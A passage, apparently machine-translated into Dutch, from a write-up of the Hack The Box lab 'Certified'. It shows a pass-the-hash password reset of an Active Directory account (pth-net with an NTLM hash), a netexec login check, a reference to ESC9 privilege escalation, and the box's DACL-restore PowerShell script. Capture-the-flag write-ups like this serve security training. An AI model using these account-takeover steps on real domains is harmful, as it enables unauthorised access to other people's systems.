Merk op dat de bovenstaande opdrachten zeer hoge eisen stellen aan tijdsynchronisatie. Er is hier een valkuil: we gebruiken de tijd in Amsterdam en HTB gebruikt de UTC-tijd. U moet de tijdzone wijzigen in UTC en vervolgens de lokale tijdupdateservice stoppen (als uw machine is ingeschakeld, heeft de tijdsynchronisatieservice dat wel). ntp, er zijn ook chrony, enz.), en synchroniseer vervolgens met de HTB-machine.

─$ sudo systemctl disable chrony
Synchronizing state of chrony.service with SysV service script with /usr/lib/systemd/systemd-sysv-install.
Executing: /usr/lib/systemd/systemd-sysv-install disable chrony

└─$ sudo ntpdate -u 10.10.11.41
2024-11-06 17:03:32.282248 (+0000) +24466.087108 +/- 0.149565 10.10.11.41 s1 no-leap
CLOCK: time stepped by 24466.087108

.

Op dit moment hebben we volledige controle over de management_svc-gebruiker.

In de derde fase bestuurt u de ca_operator-gebruiker

Controleer BloodHound en ontdek dat de management_svc-gebruiker GenericAll-machtigingen heeft voor de ca_operator-gebruiker.

U kunt het management_svc-account gebruiken om het wachtwoord van de ca_operator-gebruiker te wijzigen.

┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ pth-net rpc password "ca_operator" "pass1234" -U "certified.htb"/"management_svc"%"a091c1832bcdd4677c28b5a6a1295584":"a091c1832bcdd4677c28b5a6a1295584" -S "DC01.certified.htb" 
E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
                                                                                                           
┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]

 

Controleer of de wijziging is gelukt.

┌──(venv)─(puck㉿kali)-[~/htb/certified/PKINITtools]
└─$ netexec smb certified.htb -u 'ca_operator' -p 'pass1234' 
SMB         10.10.11.41     445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certified.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.41     445    DC01             [+] certified.htb\ca_operator:pass1234 

De vierde fase is het gebruik van de ESC9-aanvalsmethode om bevoegdheden naar de beheerder te escaleren. ( zie errder hierboven beschreven)


Beyond Root

dacl reset script

*Evil-WinRM* PS C:\users\Administrator\music> dir

    Directory: C:\users\Administrator\music

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       10/22/2024   1:15 PM           9780 Restore-DACL.ps1

*Evil-WinRM* PS C:\users\Administrator\music> download Restore-DACL.ps1
 Info: Downloading C:\users\Administrator\music\Restore-DACL.ps1 to Restore-DACL.ps1
 Info: Download successful!

.

┌──(puck㉿kali)-[~/htb/certified]
└─$ cat Restore-DACL.ps1 
<#
.SYNOPSIS
    Applies a predefined Security Descriptor (SDDL) to an Active Directory group, removes a specified user from the group, sets a new owner, and restores original User Principal Names (UPNs) for specified users.

.DESCRIPTION
    This script performs the following operations on an Active Directory group:
    1. Imports the ActiveDirectory module.
    2. Applies a known SDDL string to set the group's security descriptor.
    3. Removes a specified user from the group.
    4. Sets a new owner for the group.
    5. Restores original UPNs for specified users.
    6. Verifies that all changes have been applied successfully.

.NOTES
    - Ensure you run this script with sufficient permissions to modify AD group security descriptors, manage group membership, and update user UPNs.
    - It's recommended to test this script in a controlled environment before deploying it in production.
    - The script does not back up the current security descriptor. Ensure you have necessary backups if needed.
#>

try {
    $GroupDN = "CN=Management,CN=Users,DC=certified,DC=htb"
    $UserToRemove = "judith.mader"
    $NewOwner = "Domain Admins"
    $RestoreUPNs = @(
        "management_svc=management_svc@certified.htb",
        "ca_operator=ca_operator@certified.htb"
    )

    # Step 1: Import ActiveDirectory module
    Write-Output "Step 1: Importing ActiveDirectory module..."
    Import-Module ActiveDirectory -ErrorAction Stop
    Write-Output "Step 1: ActiveDirectory module imported successfully."

    # Step 2: Define the SDDL string
    Write-Output "Step 2: Defining SDDL string..."
    $sddl = "O:SY G:BA D:AI(A;;LCRPLORC;;;PS)(A;;LCRPLORC;;;AU)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AO)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;DA)(A;CI;WO;;;S-1-5-21-729746778-2675978091-3820388244-1103)(OA;;CR;ab721a55-1e2f-11d0-9819-00aa0040529b;;AU)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;RU)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;RU)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967a86-0de6-11d0-a285-00aa003049e2;RU)"
    
    Write-Output "Step 2: SDDL string defined successfully."

    # Step 3: Convert SDDL to RawSecurityDescriptor
    Write-Output "Step 3: Converting SDDL string to RawSecurityDescriptor..."
    try {
        $rawSD = New-Object System.Security.AccessControl.RawSecurityDescriptor($sddl)
        Write-Output "Step 3: SDDL string converted to RawSecurityDescriptor successfully."
    } catch {
        throw "Step 3: The SDDL string is invalid or malformed. Details: $_"
    }

    # Step 4: Get Binary Form from RawSecurityDescriptor
    Write-Output "Step 4: Extracting binary form from RawSecurityDescriptor..."
    $sd_bytes = New-Object byte[] ($rawSD.BinaryLength)
    $rawSD.GetBinaryForm($sd_bytes, 0)
    Write-Output "Step 4: Binary form extracted successfully. Byte array length is $($sd_bytes.Length) bytes."

    # Step 5: Apply the Restored Security Descriptor to the Group
    Write-Output "Step 5: Applying the restored DACL to group '$GroupDN'..."
    try {
        Set-ADObject -Identity $GroupDN -Replace @{nTSecurityDescriptor = $sd_bytes} -ErrorAction Stop
        Write-Output "Step 5: Restored DACL applied successfully to '$GroupDN'."
    } catch {
        throw "Step 5: Failed to apply Security Descriptor. Details: $_"
    }

    # Step 6: Remove the Specified User from the Group
    Write-Output "Step 6: Removing user '$UserToRemove' from group '$GroupDN'..."
    Remove-ADGroupMember -Identity $GroupDN -Members $UserToRemove -Confirm:$false -ErrorAction SilentlyContinue

    # Check if the user was successfully removed
    $isMember = Get-ADGroupMember -Identity $GroupDN -ErrorAction SilentlyContinue | Where-Object { $_.SamAccountName -eq $UserToRemove }
    if ($isMember) {
        throw "Step 6: Failed to remove user '$UserToRemove' from group '$GroupDN'."
    } else {
        Write-Output "Step 6: User '$UserToRemove' removed from group '$GroupDN' successfully."
    }

    # Step 7: Restore the Original Owner of the Group
    Write-Output "Step 7: Restoring the original owner '$NewOwner' for group '$GroupDN'..."

    # Attempt to get the Distinguished Name (DN) of the new owner (user or group)
    try {
        $ownerObject = Get-ADUser -Identity $NewOwner -Properties DistinguishedName -ErrorAction Stop
    } catch {
        try {
            $ownerObject = Get-ADGroup -Identity $NewOwner -Properties DistinguishedName -ErrorAction Stop
        } catch {
            throw "Step 7: Specified owner '$NewOwner' not found as a user or group in Active Directory."
        }
    }

    $ownerDN = $ownerObject.DistinguishedName

    # Update the 'managedBy' attribute
    Set-ADGroup -Identity $GroupDN -ManagedBy $ownerDN -ErrorAction Stop
    Write-Output "Step 7: Owner of group '$GroupDN' set to '$NewOwner' successfully."

    # Step 8: Verification
    Write-Output "Step 8: Verifying the restored DACL, group membership, and ownership..."

    # Verify DACL by retrieving the current security descriptor using Get-ACL
    try {
        $acl = Get-ACL -Path "AD:$GroupDN" -ErrorAction Stop
        $sddl_current = $acl.GetSecurityDescriptorSddlForm('All')
        Write-Output "Step 8: Current Security Descriptor (SDDL): $sddl_current"
    } catch {
        throw "Step 8: Failed to retrieve or convert Security Descriptor. Details: $_"
    }

    # Verify Group Membership
    $isMemberAfter = Get-ADGroupMember -Identity $GroupDN -ErrorAction SilentlyContinue | Where-Object { $_.SamAccountName -eq $UserToRemove }
    if ($isMemberAfter) {
        throw "Step 8: Verification FAILED: User '$UserToRemove' is still a member of group '$GroupDN'."
    } else {
        Write-Output "Step 8: Verification SUCCESS: User '$UserToRemove' is no longer a member of group '$GroupDN'."
    }

    # Verify Group Ownership
    $currentOwnerDN = (Get-ADGroup -Identity $GroupDN -Properties ManagedBy -ErrorAction Stop).ManagedBy
    if ($currentOwnerDN -eq $ownerDN) {
        Write-Output "Step 8: Verification SUCCESS: Owner of group '$GroupDN' is correctly set to '$NewOwner'."
    } else {
        throw "Step 8: Verification FAILED: Owner of group '$GroupDN' is not set to '$NewOwner'."
    }

    # Step 9: Restore Users' Original UPNs (if provided)
    if ($RestoreUPNs) {
        Write-Output "Step 9: Restoring original UPNs for specified users..."

        foreach ($pair in $RestoreUPNs) {
            # Split the pair into username and original UPN
            $splitPair = $pair -split '=', 2
            if ($splitPair.Length -ne 2) {
                Write-Output "Warning: Invalid format for RestoreUPN pair '$pair'. Expected 'username=originalUPN'. Skipping."
                continue
            }

            $username = $splitPair[0].Trim()
            $originalUPN = $splitPair[1].Trim()

            try {
                Write-Output "Restoring UPN for user '$username' to '$originalUPN'..."
                Set-ADUser -Identity $username -UserPrincipalName $originalUPN -ErrorAction Stop
                Write-Output "UPN for user '$username' restored to '$originalUPN' successfully."
            } catch {
                Write-Output "Error: Failed to restore UPN for user '$username'. Details: $_"
            }
        }
    } else {
        Write-Output "Step 9: No UPN restoration data provided. Skipping UPN restoration."
    }

    # Step 10: Verify UPN Restoration (if any)
    if ($RestoreUPNs) {
        Write-Output "Step 10: Verifying restored UPNs..."

        foreach ($pair in $RestoreUPNs) {
            # Split the pair into username and original UPN
            $splitPair = $pair -split '=', 2
            if ($splitPair.Length -ne 2) {
                Write-Output "Warning: Invalid format for RestoreUPN pair '$pair'. Expected 'username=originalUPN'. Skipping verification."
                continue
            }

            $username = $splitPair[0].Trim()
            $expectedUPN = $splitPair[1].Trim()

            try {
                $user = Get-ADUser -Identity $username -Properties UserPrincipalName -ErrorAction Stop
                $currentUPN = $user.UserPrincipalName

                if ($currentUPN -eq $expectedUPN) {
                    Write-Output "Verification SUCCESS: UPN for user '$username' is correctly set to '$expectedUPN'."
                } else {
                    Write-Output "Verification FAILED: UPN for user '$username' is '$currentUPN', expected '$expectedUPN'."
                }
            } catch {
                Write-Output "Error: Failed to retrieve user '$username' for UPN verification. Details: $_"
            }
        }
    } else {
        Write-Output "Step 10: No UPN restoration data provided. Skipping UPN verification."
    }

    # If all steps succeeded
    Write-Output "DACL restoration and UPN updates completed successfully."
    exit 0

} catch {
    # If any error occurs, output the error message and exit with code 1
    Write-Output "Error: $_"
    exit 1
}                                                                                                                                                
┌──(puck㉿kali)-[~/htb/certified]

.